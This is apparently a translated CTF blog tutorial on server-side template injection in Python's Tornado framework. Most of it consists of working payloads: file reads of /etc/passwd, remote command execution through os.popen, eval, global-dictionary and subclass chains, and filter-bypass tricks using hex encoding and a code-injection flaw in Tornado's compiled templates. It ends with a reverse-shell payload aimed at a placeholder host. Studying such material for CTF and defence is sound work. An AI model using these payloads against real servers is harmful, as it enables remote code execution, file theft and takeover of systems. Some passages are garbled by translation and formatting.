tornado template injection

introduction

Most python template injections in ctf are flask, and tornado is rarely tested.
There was a question in the net cup before, easy_tornado, which only used handler.settings to get the key value. So write this article to learn and summarize the rce part of tornado template injection.
If you want to learn template injection, you must first learn the syntax of templates. The official documents are as follows.
https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

grammar

Control statements
Similar to flask, templates in tornado can also use for, if, while and other control statements, and are also {%%}wrapped with them. where break continue can also be used by {%%}wrapping.
But the difference is that the ending is fixed {% end %}.
Expressions
are used { {}}to wrap variables to
define variables
, which can be assigned directly through { {i=1}}, but a better way is to use set

{% set i=1 %}

Example

{% for i in range(10)%}
	{
   
   {i}}
{%end%}
{% if 1>2%}
    1
{%elif 1==2%}
    2
{%else%}
    3
{% end%}
{
   
   {i=10}}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

{%set i=10%}
{% while i>1%}
	{
   
   {i}}{
   
   {i=i-1}}
{%end%}

template inheritance
insert image description here

Tornado can use the extends and include tags to declare which templates to inherit.
Here we find the first point that can be exploited, which is file reading.

{% extends "/etc/passwd"%}
{% include "/etc/passwd"%}

import module/package

{% import *module* %}
{% from *x* import *y* %}

This seems to play a big role in our utilization.
We know that packages such as os and sys cannot be used directly in templates, but what about after we import them through import. We can try it out.

{% import os %}
{
   
   {os.popen("ls").read()}}

insert image description here

completely fine.

functions and variables

Read on to find some functions or variables that can be used directly in templates.
insert image description here
Let's see which of these help us getshell
escape/xhtml_escape
tornado.escape.xhtml_escape aliases to
escape a string to make it valid in HTML or XML.
Escaped characters include <, >, ", ', 和 &.
insert image description here
url_escape
tornado.escape.url_escape alias The
role is to perform url encoding.

json_encode
json encodes the specified python object

def json_decode(value):
    return json.loads(to_basestring(value))

alias for squeeze
tornado.escape.squeeze
Use a single space instead of a sequence of all space characters See the
source code to understand

def squeeze(value):
    return re.sub(r"[\x00-\x20]+", " ", value).strip()

linkify
tornado.escape.linkify
converts plain text to HTML with links
例如linkify("Hello http://tornadoweb.org!") 将返回 Hello <a href="http://tornadoweb.org">http://tornadoweb.org</a>!

The previous functions seem to be of little use, since most of them encode rather than decode.
datetime
Python datetime module
such as { { datetime.date(2022,3,7)}} returns the current RequestHandler object of 2022-03-07
handler
, which is also the base class for HTTP request processing in tornado.
Then we can use what in this object As for things, it depends on his source code . The content is a bit bulky.
You can see in it that the handler.settings used before
insert image description here
prints all its callable content through dir as follows

['SUPPORTED_METHODS', '_INVALID_HEADER_CHAR_RE', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_break_cycles', '_clear_representation_headers', '_convert_header_value', '_decode_xsrf_token', '_execute', '_get_argument', '_get_arguments', '_get_raw_xsrf_token', '_handle_request_exception', '_initialize', '_log', '_remove_control_chars_regex', '_request_summary', '_stream_request_body', '_template_loader_lock', '_template_loaders', '_transforms', '_ui_method', '_ui_module', '_unimplemented_method', 'add_header', 'check_etag_header', 'check_xsrf_cookie', 'clear', 'clear_all_cookies', 'clear_cookie', 'clear_header', 'compute_etag', 'cookies', 'create_signed_value', 'create_template_loader', 'current_user', 'data_received', 'decode_argument', 'delete', 'detach', 'finish', 'flush', 'get', 'get_argument', 'get_arguments', 'get_body_argument', 'get_body_arguments', 'get_browser_locale', 'get_cookie', 'get_current_user', 'get_login_url', 'get_query_argument', 'get_query_arguments', 'get_secure_cookie', 'get_secure_cookie_key_version', 'get_status', 'get_template_namespace', 'get_template_path', 'get_user_locale', 'head', 'initialize', 'locale', 'log_exception', 'on_connection_close', 'on_finish', 'options', 'patch', 'path_args', 'path_kwargs', 'post', 'prepare', 'put', 'redirect', 'render', 'render_embed_css', 'render_embed_js', 'render_linked_css', 'render_linked_js', 'render_string', 'require_setting', 'reverse_url', 'send_error', 'set_cookie', 'set_default_headers', 'set_etag_header', 'set_header', 'set_secure_cookie', 'set_status', 'settings', 'static_url', 'write', 'write_error', 'xsrf_form_html', 'xsrf_token']

This is not listed first, let's first set the syntax of the previous flask template injection.

{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

After testing, it is found that these are still completely usable, after all, these are not related to templates in python.
We are looking at this handler. Since he is also a class, can he directly call the __init__initialization method?

{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

no problem.
That is to say, without any filtering, the template injection of tornado and flask is roughly the same.
If there is filtering, then we can consider the large number of callable methods before.

{
   
   {handler.get_argument('yu')}}   //比如传入?yu=123则返回值为123
{
   
   {handler.cookies}}  //返回cookie值
{
   
   {handler.get_cookie("data")}}  //返回cookie中data的值
{
   
   {handler.decode_argument('\u0066')}}  //返回f,其中\u0066为f的unicode编码
{
   
   {handler.get_query_argument('yu')}}  //比如传入?yu=123则返回值为123
{
   
   {handler.settings}}  //比如传入application.settings中的值

其他的很多方法也是可以获得一些字符串,这里就不一一列出了。

request

{
   
   {request.method}}  //返回请求方法名  GET|POST|PUT...
{
   
   {request.query}}  //传入?a=123 则返回a=123
{
   
   {request.arguments}}   //返回所有参数组成的字典
{
   
   {request.cookies}}   //同{
   
   {handler.cookies}}
.
.
.

The two main functions mentioned above are to obtain strings, which can bypass the filtering of strings.
But what if it is _filtered?
globals()
The globals() function in python returns all global variables at the current location as a dictionary.
Before in flask, we will find that this cannot be called directly. Let's take a look at the situation in tornado.
insert image description here
We can find that it can be used directly in tornado. What excites us is that we can directly call some initial methods of python. For example __import__、eval、print、hex等
, it seems that our payload can be more concise.

{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

The second method is more for the purpose we just mentioned, bypassing the right _filter

{
   
   {eval(handler.get_argument('yu'))}}
?yu=__import__("os").popen("ls").read()

insert image description here
Because there are no filters in tornado, it .is a bit difficult for us to bypass the filtering.
And if you want to bypass the filtering of quotation marks, you can change the above payload to the following format

{
   
   {eval(handler.get_argument(request.method))}}

然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理。

The last thing is to ()bypass it. In tornado, the main processing template is the template.py file under it.
The core processing part is as follows
insert image description here
. We can enter the content casually and view the content of self.code.
For example, pass in { {2-1}} to
print the result as follows

def _tt_execute():
    _tt_buffer = []
    _tt_tmp = 2-1
    if isinstance(_tt_tmp, _tt_string_types): 
        _tt_tmp = _tt_utf8(_tt_tmp)
    else: 
        _tt_tmp = _tt_utf8(str(_tt_tmp))
    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp))
    _tt_append(_tt_tmp)
    return _tt_utf8('').join(_tt_buffer)

In this way, we can make _tt_utf8 the name of the function we want to execute. Don't forget to add line breaks and indent with four blank lines.

{
   
   {'print(123)'%0a    _tt_utf8=eval}}

After trying this, it is found that the code eval('print(123)')is indeed executed, but on the server side, and the page we see will display an error.
The reason for this is that these two lines of code are used together

 _tt_tmp = _tt_utf8(_tt_tmp)
 _tt_utf8(xhtml_escape(_tt_tmp))
# xhtml_escape可以看做是一个html编码的函数

Equivalent to come

_tt_tmp=eval("print(123)")     #print返回值是None
eval(xhtml_escape(None))     #eval中为空导致报错

Then we have to figure out a way to avoid this.
A better way is to use raw. After testing, it is found that the code will be removed after using the raw syntax _tt_utf8(xhtml_escape(_tt_tmp)), so that we don't have to worry about the above situation.
There is one last problem. return _tt_utf8('').join(_tt_buffer)If we _tt_utf8assign a value in the last line of code eval, then this place will still report an error.
But it is also very simple to solve, and _tt_utf8then assign a function that will not report an error, such as str.

data={% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

We found that the above code still exists (), but in a string, which makes it a lot easier for us to solve.
We can use hexadecimal or unicode encoding instead, the following code can help us generate hexadecimal directly.

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]))

Because the characters we use are basically in the ascii code range, so if the string is converted to unicode, the \u00+ascii code is directly used

print(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('ls').read()"]).replace('\\x','\\u00'))

Summarize

Payloads that can be used without filtering in tornado

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、 直接使用函数
{
   
   {__import__("os").popen("ls").read()}}
{
   
   {eval('__import__("os").popen("ls").read()')}}

3、导入库
{% import os %}{
   
   {os.popen("ls").read()}}

4、flask中的payload大部分也通用
{
   
   {"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{
   
   {"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class

5、利用tornado特有的对象或者方法
{
   
   {handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{
   
   {handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}

6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

Filter situation

1、过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{
   
   {eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理


2、过滤了括号未过滤引号
{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{
   
   {'1'%0a    _tt_utf8 = str}}

3、过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a    _tt_utf8=exec%}&%0a"""

4、其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{
   
   {handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{
   
   {handler.application.default_router.named_rules['345'].target('/readflag').read()}}

Reference article

https://www.qcrane.top/2021/11/29/N1CTF%E5%87%BA%E9%A2%98%E5%B0%8F%E8%AE%B0/#more

https://tornado-zh.readthedocs.io/zh/latest/guide/templates.html

https://www.cnblogs.com/guohan/p/6728188.html

Guess you like

Origin blog.csdn.net/miuzzx/article/details/123329244